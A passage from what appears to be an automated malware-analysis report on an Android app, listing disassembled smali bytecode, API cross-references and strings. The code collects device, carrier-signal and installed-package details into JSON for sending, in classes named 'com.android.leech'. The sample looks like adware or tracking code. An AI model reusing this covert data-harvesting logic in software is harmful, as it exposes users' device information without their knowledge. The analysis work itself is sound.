                                                                              214const-string v2, "device_model"
                                                                              216const-string v3, "device_model"
                                                                              218invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              219move-result-object v3
                                                                              221invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              222cond_123:
                                                                              223const-string v2, "version_code"
                                                                              225invoke-virtual {v0, v2}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              226move-result v2
                                                                              227if-eqz v2, :cond_136
                                                                              229const-string v2, "version"
                                                                              231const-string v3, "version_code"
                                                                              233invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                                                                              234move-result v3
                                                                              236invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              237cond_136:
                                                                              238const-string v2, "appkey"
                                                                              240invoke-virtual {v0, v2}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              241move-result v2
                                                                              242if-eqz v2, :cond_149
                                                                              244const-string v2, "appkey"
                                                                              246const-string v3, "appkey"
                                                                              248invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              249move-result-object v3
                                                                              251invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              252cond_149:
                                                                              253const-string v2, "channel"
                                                                              255invoke-virtual {v0, v2}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              256move-result v2
                                                                              257if-eqz v2, :cond_15c
                                                                              259const-string v2, "channel"
                                                                              261const-string v3, "channel"
                                                                              263invoke-virtual {v0, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              264move-result-object v0
                                                                              266invoke-virtual {v1, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              267cond_15c:
                                                                              268invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              269move-result v0
                                                                              270if-lez v0, :cond_2
                                                                              271new-instance v0, Ljava/lang/StringBuilder;
                                                                              273invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                                              275const-string v2, "constructMessage:"
                                                                              277invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              278move-result-object v0
                                                                              280invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              281move-result-object v1
                                                                              283invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              284move-result-object v0
                                                                              286invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              287move-result-object v0
                                                                              289invoke-static {v0}, LuAgent/commonsdk/statistics/common/MLog;->d(Ljava/lang/String;)V
                                                                              290try_end_17c: goto/16 :goto_2
                                                                              291catch_17e: move-exception v0
                                                                              293invoke-static {v0}, LuAgent/commonsdk/statistics/common/MLog;->e(Ljava/lang/Throwable;)V
                                                                              294goto/16 :goto_2
                                                                              APIs
                                                                              • android.telephony.PhoneStateListener.onSignalStrengthsChanged
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.SignalStrength.toString
                                                                              • java.lang.String.split
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • android.telephony.TelephonyManager.getNetworkType
                                                                              • java.lang.Integer.parseInt
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • android.telephony.TelephonyManager.getNetworkType
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • android.telephony.TelephonyManager.getNetworkType
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • android.telephony.TelephonyManager.getNetworkType
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • android.telephony.TelephonyManager.getNetworkType
                                                                              • uAgent.commonsdk.internal.utils.b$1.a:LuAgent/commonsdk/internal/utils/b
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • android.telephony.SignalStrength.getCdmaDbm
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • android.telephony.SignalStrength.getEvdoDbm
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.telephony.SignalStrength.getGsmSignalStrength
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • BaseStationUtils
                                                                              • base station onSignalStrengthsChanged
                                                                              • phone
                                                                              • stationStrength is
                                                                              • \u4e2d\u56fd\u79fb\u52a8
                                                                              • 0
                                                                              • \u4e2d\u56fd\u8054\u901a
                                                                              • \u4e2d\u56fd\u7535\u4fe1
                                                                              Position Instruction Meta Information
                                                                              0const/16 v4, 0x9
                                                                              1const/4 v1, 0x1
                                                                              2const/4 v3, 0x0
                                                                              4invoke-super {p0, p1}, Landroid/telephony/PhoneStateListener;->onSignalStrengthsChanged(Landroid/telephony/SignalStrength;)V
                                                                              6const-string v0, "BaseStationUtils"
                                                                              7new-array v1, v1, [Ljava/lang/Object;
                                                                              9const-string v2, "base station onSignalStrengthsChanged"
                                                                              10aput-object v2, v1, v3
                                                                              12invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->c(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              13try_start_12:
                                                                              14iget-object v1, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              16invoke-static {}, LuAgent/commonsdk/internal/utils/b;->d()Landroid/content/Context;
                                                                              17move-result-object v0
                                                                              19const-string v2, "phone"
                                                                              21invoke-virtual {v0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              22move-result-object v0
                                                                              23check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              25invoke-static {v1, v0}, LuAgent/commonsdk/internal/utils/b;->a(LuAgent/commonsdk/internal/utils/b;Landroid/telephony/TelephonyManager;)Landroid/telephony/TelephonyManager;
                                                                              27invoke-virtual {p1}, Landroid/telephony/SignalStrength;->toString()Ljava/lang/String;
                                                                              28move-result-object v0
                                                                              30const-string v1, " "
                                                                              32invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                                                              33move-result-object v1
                                                                              34const/4 v0, 0x0
                                                                              36iget-object v2, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              38invoke-static {v2}, LuAgent/commonsdk/internal/utils/b;->a(LuAgent/commonsdk/internal/utils/b;)Landroid/telephony/TelephonyManager;
                                                                              39move-result-object v2
                                                                              41invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                                                                              42move-result v2
                                                                              43const/16 v3, 0xd
                                                                              44if-ne v2, v3, :cond_97
                                                                              45const/16 v0, 0x9
                                                                              46aget-object v0, v1, v0
                                                                              48invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              49move-result v0
                                                                              50new-instance v1, Ljava/lang/StringBuilder;
                                                                              52invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              54const-string v2, ""
                                                                              56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              57move-result-object v1
                                                                              59invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              60move-result-object v0
                                                                              62invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              63move-result-object v0
                                                                              64goto_57:
                                                                              65const-string v1, "BaseStationUtils"
                                                                              66const/4 v2, 0x1
                                                                              67new-array v2, v2, [Ljava/lang/Object;
                                                                              68const/4 v3, 0x0
                                                                              69new-instance v4, Ljava/lang/StringBuilder;
                                                                              71invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              73const-string v5, "stationStrength is "
                                                                              75invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              76move-result-object v4
                                                                              78invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              79move-result-object v4
                                                                              81invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              82move-result-object v4
                                                                              83aput-object v4, v2, v3
                                                                              85invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/e;->c(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              87invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              88try_end_78: move-result v1
                                                                              89if-nez v1, :cond_91
                                                                              90try_start_7b:
                                                                              91invoke-static {}, LuAgent/commonsdk/internal/utils/b;->d()Landroid/content/Context;
                                                                              92move-result-object v1
                                                                              93const v2, 0x8004
                                                                              95invoke-static {}, LuAgent/commonsdk/internal/utils/b;->d()Landroid/content/Context;
                                                                              96move-result-object v3
                                                                              98invoke-static {v3}, LuAgent/commonsdk/internal/b;->a(Landroid/content/Context;)LuAgent/commonsdk/internal/b;
                                                                              99move-result-object v3
                                                                              101invoke-virtual {v3}, LuAgent/commonsdk/internal/b;->a()LuAgent/commonsdk/internal/c;
                                                                              102move-result-object v3
                                                                              104invoke-static {v1, v2, v3, v0}, LuAgent/commonsdk/framework/UMWorkDispatch;->sendEvent(Landroid/content/Context;ILuAgent/commonsdk/framework/UMLogDataProtocol;Ljava/lang/Object;)V
                                                                              105cond_91:
                                                                              106iget-object v0, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              108invoke-virtual {v0}, LuAgent/commonsdk/internal/utils/b;->c()V
                                                                              109goto_96: return-void
                                                                              110cond_97:
                                                                              111iget-object v1, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              113invoke-static {v1}, LuAgent/commonsdk/internal/utils/b;->a(LuAgent/commonsdk/internal/utils/b;)Landroid/telephony/TelephonyManager;
                                                                              114move-result-object v1
                                                                              116invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                                                                              117move-result v1
                                                                              118const/16 v2, 0x8
                                                                              119if-eq v1, v2, :cond_cc
                                                                              121iget-object v1, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              123invoke-static {v1}, LuAgent/commonsdk/internal/utils/b;->a(LuAgent/commonsdk/internal/utils/b;)Landroid/telephony/TelephonyManager;
                                                                              124move-result-object v1
                                                                              126invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                                                                              127move-result v1
                                                                              128const/16 v2, 0xa
                                                                              129if-eq v1, v2, :cond_cc
                                                                              131iget-object v1, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              133invoke-static {v1}, LuAgent/commonsdk/internal/utils/b;->a(LuAgent/commonsdk/internal/utils/b;)Landroid/telephony/TelephonyManager;
                                                                              134move-result-object v1
                                                                              136invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                                                                              137move-result v1
                                                                              138if-eq v1, v4, :cond_cc
                                                                              140iget-object v1, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              142invoke-static {v1}, LuAgent/commonsdk/internal/utils/b;->a(LuAgent/commonsdk/internal/utils/b;)Landroid/telephony/TelephonyManager;
                                                                              143move-result-object v1
                                                                              145invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                                                                              146move-result v1
                                                                              147const/4 v2, 0x3
                                                                              148if-ne v1, v2, :cond_132
                                                                              149cond_cc:
                                                                              150iget-object v1, p0, LuAgent/commonsdk/internal/utils/b$1;->a:LuAgent/commonsdk/internal/utils/b;
                                                                              152invoke-static {v1}, LuAgent/commonsdk/internal/utils/b;->b(LuAgent/commonsdk/internal/utils/b;)Ljava/lang/String;
                                                                              153move-result-object v1
                                                                              155invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              156move-result v2
                                                                              157if-nez v2, :cond_e4
                                                                              159const-string v2, "\u4e2d\u56fd\u79fb\u52a8"
                                                                              161invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              162try_end_dd: move-result v2
                                                                              163if-eqz v2, :cond_e4
                                                                              165const-string v0, "0"
                                                                              166goto/16 :goto_57
                                                                              167try_start_e4:
                                                                              168invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              169move-result v2
                                                                              170if-nez v2, :cond_10b
                                                                              172const-string v2, "\u4e2d\u56fd\u8054\u901a"
                                                                              174invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              175move-result v2
                                                                              176if-eqz v2, :cond_10b
                                                                              178invoke-virtual {p1}, Landroid/telephony/SignalStrength;->getCdmaDbm()I
                                                                              179move-result v0
                                                                              180new-instance v1, Ljava/lang/StringBuilder;
                                                                              182invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              184invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              185move-result-object v0
                                                                              187const-string v1, ""
                                                                              189invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              190move-result-object v0
                                                                              192invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              193move-result-object v0
                                                                              194goto/16 :goto_57
                                                                              195cond_10b:
                                                                              196invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              197move-result v2
                                                                              198if-nez v2, :cond_57
                                                                              200const-string v2, "\u4e2d\u56fd\u7535\u4fe1"
                                                                              202invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              203move-result v1
                                                                              204if-eqz v1, :cond_57
                                                                              206invoke-virtual {p1}, Landroid/telephony/SignalStrength;->getEvdoDbm()I
                                                                              207move-result v0
                                                                              208new-instance v1, Ljava/lang/StringBuilder;
                                                                              210invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              212invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              213move-result-object v0
                                                                              215const-string v1, ""
                                                                              217invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              218move-result-object v0
                                                                              220invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              221move-result-object v0
                                                                              222goto/16 :goto_57
                                                                              223cond_132:
                                                                              224invoke-virtual {p1}, Landroid/telephony/SignalStrength;->getGsmSignalStrength()I
                                                                              225move-result v0
                                                                              226new-instance v1, Ljava/lang/StringBuilder;
                                                                              228invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              229mul-int/lit8 v0, v0, 0x2
                                                                              230add-int/lit8 v0, v0, -0x71
                                                                              232invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              233move-result-object v0
                                                                              235const-string v1, ""
                                                                              237invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              238move-result-object v0
                                                                              240invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              241try_end_14c: move-result-object v0
                                                                              242goto/16 :goto_57
                                                                              243catch_14f: move-exception v0
                                                                              244goto/16 :goto_91
                                                                              245catch_152: move-exception v0
                                                                              246goto/16 :goto_96
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.content.Context.getResources
                                                                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.res.Resources.getString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.content.pm.PackageInfo.versionName:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • sdk_ver
                                                                              • sdk_ver_name
                                                                              • 1108
                                                                              • channel
                                                                              • type
                                                                              • app_id
                                                                              • md5
                                                                              • app_lasttime
                                                                              • core_installed
                                                                              • core_pkg
                                                                              • core_ver
                                                                              • ad_installed
                                                                              • ad_pkg
                                                                              • ad_ver
                                                                              • pkg_name
                                                                              • app_name
                                                                              • ver_code
                                                                              • ver_name
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              3move-result-object v1
                                                                              5iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              7const-string v7, "sdk_ver"
                                                                              8const/16 v8, 0x454
                                                                              10invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              12iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              14const-string v7, "sdk_ver_name"
                                                                              16const-string v8, "1108"
                                                                              18invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              20iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              22const-string v7, "channel"
                                                                              24invoke-static {}, Lcom/android/leech/base/util/Channel;->getChannel()Ljava/lang/String;
                                                                              25move-result-object v8
                                                                              27invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              29iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              31const-string v7, "type"
                                                                              33invoke-static {v1}, Lcom/android/leech/base/util/ApkInfos;->getAppType(Landroid/content/Context;)I
                                                                              34move-result v8
                                                                              36invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              38iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              40const-string v7, "app_id"
                                                                              42invoke-static {v1}, Lcom/android/leech/base/util/PhoneInfo;->getDeviceAppId(Landroid/content/Context;)Ljava/lang/String;
                                                                              43move-result-object v8
                                                                              45invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              47iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              49const-string v7, "md5"
                                                                              51invoke-static {v1}, Lcom/android/leech/base/util/PhoneInfo;->getApkMd5(Landroid/content/Context;)Ljava/lang/String;
                                                                              52move-result-object v8
                                                                              54invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              56iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              58const-string v7, "app_lasttime"
                                                                              60invoke-static {v1}, Lcom/android/leech/base/util/ApkInfos;->getLastUpdateTime(Landroid/content/Context;)J
                                                                              61move-result-wide v8
                                                                              63invoke-virtual {v6, v7, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              65invoke-static {v1}, Lcom/android/leech/base/util/CoreUtils;->isInstall(Landroid/content/Context;)Z
                                                                              66move-result v4
                                                                              68iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              70const-string v7, "core_installed"
                                                                              72invoke-virtual {v6, v7, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                                                                              73if-eqz v4, :cond_d0
                                                                              75invoke-static {v1}, Lcom/android/leech/base/util/CoreUtils;->getOptimalPkg(Landroid/content/Context;)Ljava/lang/String;
                                                                              76move-result-object v2
                                                                              78iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              80const-string v7, "core_pkg"
                                                                              82invoke-virtual {v6, v7, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              84iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              86const-string v7, "core_ver"
                                                                              88invoke-static {v1, v2}, Lcom/android/leech/base/util/ApkInfos;->getAppVersionCode(Landroid/content/Context;Ljava/lang/String;)J
                                                                              89move-result-wide v8
                                                                              91invoke-virtual {v6, v7, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              92goto_70:
                                                                              93invoke-static {v1}, Lcom/android/leech/base/util/CoreAdUtils;->isInstall(Landroid/content/Context;)Z
                                                                              94move-result v3
                                                                              96iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              98const-string v7, "ad_installed"
                                                                              100invoke-static {v1}, Lcom/android/leech/base/util/CoreAdUtils;->isInstall(Landroid/content/Context;)Z
                                                                              101move-result v8
                                                                              103invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                                                                              104if-eqz v3, :cond_e4
                                                                              106invoke-static {v1}, Lcom/android/leech/base/util/CoreUtils;->getOptimalPkg(Landroid/content/Context;)Ljava/lang/String;
                                                                              107move-result-object v0
                                                                              109iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              111const-string v7, "ad_pkg"
                                                                              113invoke-static {v1}, Lcom/android/leech/base/util/CoreAdUtils;->getPkg(Landroid/content/Context;)Ljava/lang/String;
                                                                              114move-result-object v8
                                                                              116invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              118iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              120const-string v7, "ad_ver"
                                                                              122invoke-static {v1, v0}, Lcom/android/leech/base/util/ApkInfos;->getAppVersionCode(Landroid/content/Context;Ljava/lang/String;)J
                                                                              123move-result-wide v8
                                                                              125invoke-virtual {v6, v7, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              126goto_9b:
                                                                              127invoke-static {v1}, Lcom/android/leech/base/util/ApkInfos;->getAppPkgInfo(Landroid/content/Context;)Landroid/content/pm/PackageInfo;
                                                                              128move-result-object v5
                                                                              129if-eqz v5, :cond_cf
                                                                              131iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              133const-string v7, "pkg_name"
                                                                              135iget-object v8, v5, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                                                                              137invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              139iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              141const-string v7, "app_name"
                                                                              143invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                                                              144move-result-object v8
                                                                              146iget-object v9, v5, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              147iget v9, v9, Landroid/content/pm/ApplicationInfo;->labelRes:I
                                                                              149invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                                                                              150move-result-object v8
                                                                              152invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              154iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              156const-string v7, "ver_code"
                                                                              157iget v8, v5, Landroid/content/pm/PackageInfo;->versionCode:I
                                                                              159invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              161iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              163const-string v7, "ver_name"
                                                                              165iget-object v8, v5, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                                                                              167invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              168goto_cf: return-void
                                                                              169cond_d0:
                                                                              170iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              172const-string v7, "core_pkg"
                                                                              174const-string v8, ""
                                                                              176invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              178iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              180const-string v7, "core_ver"
                                                                              181const/4 v8, 0x0
                                                                              183invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              184goto/16 :goto_70
                                                                              185catch_e2: move-exception v6
                                                                              186goto/16 :goto_cf
                                                                              187cond_e4:
                                                                              188iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              190const-string v7, "ad_pkg"
                                                                              192const-string v8, ""
                                                                              194invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              196iget-object v6, p0, Lcom/android/leech/base/network/RequestParam;->mHostJson:Lorg/json/JSONObject;
                                                                              198const-string v7, "ad_ver"
                                                                              199const/4 v8, 0x0
                                                                              201invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              202try_end_f5: goto/16 :goto_9b
                                                                              APIs
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.a:LuAgent/commonsdk/proguard/h$e
                                                                              • uAgent.commonsdk.proguard.h$e.b:LuAgent/commonsdk/proguard/h$e
